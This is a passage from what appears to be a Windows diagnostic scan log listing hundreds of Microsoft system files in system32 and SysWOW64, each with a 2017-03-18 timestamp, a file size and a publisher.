2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\shunimpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\sdiagnhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\sdbinst.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcconf.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\netbtugc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\DefaultPrinterProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\SysWOW64\cscdll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\sbservicetrigger.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\NaturalAuthClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\XblGameSaveProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshcon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscisvif.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\winusb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\ndproxystub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\ktmw32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\gptext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\encapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\SysWOW64\diskperf.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.StartLayoutPopulationEvents.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\PING.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\MCCSPal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\chkntfs.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\attrib.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00021408 _____ (Microsoft Corporation) C:\windows\system32\dllhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft) C:\windows\SysWOW64\pegi-pt.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft) C:\windows\SysWOW64\pegi.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft) C:\windows\system32\pegi-pt.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft) C:\windows\system32\pegi.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\sort.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\smphost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\SEMgrPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\osbaseln.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\npmproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\NcdProp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\GamePanelExternalHook.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\davhlpr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\bitsperf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Background.ps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\shpafact.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\PrintDialogHost3D.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\ntlanui2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\regsvr32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\Register-CimProvider.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\netevent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\drprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\delegatorprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\appidtel.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\MdmDiagnosticsTool.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\dxgwdi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020216 _____ (Microsoft Corporation) C:\windows\SysWOW64\ksuser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00020216 _____ (Microsoft Corporation) C:\windows\system32\SlideToShutDown.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\winnlsres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\sxshared.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\storagewmi_passthru.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\serwvdrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmdext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\chkntfs.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\winnlsres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\Startupscan.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\httpprxp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\gamemode.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\dscproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\defragproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019872 _____ (Microsoft Corporation) C:\windows\system32\backgroundTaskHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\wfapigp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\slcext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\ROUTE.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\replace.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasctrs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbnmpntw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\credssp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\convert.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\capisp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\SysWOW64\attrib.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\PATHPING.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\httpprxc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\fontgroupsoverride.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\enterpriseetw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00019360 _____ (Microsoft Corporation) C:\windows\SysWOW64\dllhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00019192 _____ (Microsoft Corporation) C:\windows\SysWOW64\DefaultDeviceManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\SysWOW64\PING.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\SysWOW64\midimap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\SysWOW64\mgmtapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExtrasXmlParser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\xboxgipsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\wiatrace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\nrpsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\localui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\bnmanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018848 _____ (Microsoft Corporation) C:\windows\SysWOW64\WlS0WndH.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\SysWOW64\xmlprovi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\SysWOW64\stdole2.tlb
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasdial.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\SysWOW64\nlmproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\SysWOW64\fltLib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\wmsgapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\TokenBrokerCookies.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\ProximityRtapiPal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\muifontsetup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\icsunattend.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00017935 _____ C:\windows\SysWOW64\EventViewer_EventDetails.xsl
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\wksprtPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.RemoteDesktop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\vdmdbg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\uniplat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\tree.com
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncInfrastructureps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\schedcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\runas.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntlanui2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\msiltcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\SysWOW64\CallButtons.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\TRACERT.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\Drivers\applockerfltr.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\dmpushproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017824 _____ (Microsoft Corporation) C:\windows\SysWOW64\backgroundTaskHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00017760 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlwid.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017408 _____ (Microsoft Corporation) C:\windows\SysWOW64\WINSRPC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00017408 _____ (Microsoft Corporation) C:\windows\SysWOW64\shpafact.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017408 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmdkey.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\CortanaMapiHelper.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00017112 _____ (Microsoft Corporation) C:\windows\SysWOW64\psapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\SysWOW64\userinitext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCHERP.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\SysWOW64\fixmapi.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\SysWOW64\EsdSip.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\SysWOW64\doskey.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\SysWOW64\dispex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\perfts.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016800 _____ (Microsoft Corporation) C:\windows\SysWOW64\spwizres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016740 _____ C:\windows\SysWOW64\ShiftJIS.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00016740 _____ C:\windows\system32\ShiftJIS.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsock32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshqos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\umdmxfrm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Startupscan.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\PATHPING.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\irclass.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\icsunattend.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\hh.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\EnterpriseAppMgmtClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmstplua.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\wlanhlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\Windows.CloudDomainJoinAUG.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\tcmsetup.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\ProximityCommonPal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\MUILanguageCleanup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft) C:\windows\SysWOW64\djctq.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft) C:\windows\system32\djctq.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlanhlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\SysWOW64\TokenBrokerCookies.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\SysWOW64\serialui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntvdm64.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\SysWOW64\gamemode.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\wsmplpxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\workerdd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\tsddd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\PerceptionSimulation.ProxyStubs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\LangCleanupSysprepAction.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\dpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\APHostRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft) C:\windows\SysWOW64\pcbp.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft) C:\windows\system32\pcbp.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\wowreg32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmsgapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\winshfhc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Custom.ps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiatrace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\TRACERT.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\syssetup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\RmClient.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasautou.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\ProximityRtapiPal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\mountvol.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\label.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\SysWOW64\ktmutil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\dmiso8601utils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshrm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\tcmsetup.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\subst.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\print.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\netbios.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\muifontsetup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\msrle32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscpxl32.dLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\find.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\SysWOW64\clb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\WpPortingLibrary.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\TapiUnattend.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\RdpSaPs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\panmap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\MapsBtSvcProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\gamemonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\dnsext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\dmcommandlineutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\browseui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Background.ps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\secinit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\pstorec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\prflbmsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfts.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\PaymentMediatorServiceProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\nlmsprep.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\MRINFO.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\hnetmon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\SysWOW64\C_IS2022.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\RemoveDeviceElevated.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\IconCodecService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\EasPolicyManagerBrokerPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\dabapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\d3d8thk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\whhelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\tsbyuv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\ProximityCommonPal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDJPN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\finger.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\DDOIProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\WSClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\verclsid.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\UIManagerBrokerps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\SecondaryTileExperienceCallback.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\recover.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\Eap3Host.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\msidcrl40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDKOR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpapi.dll
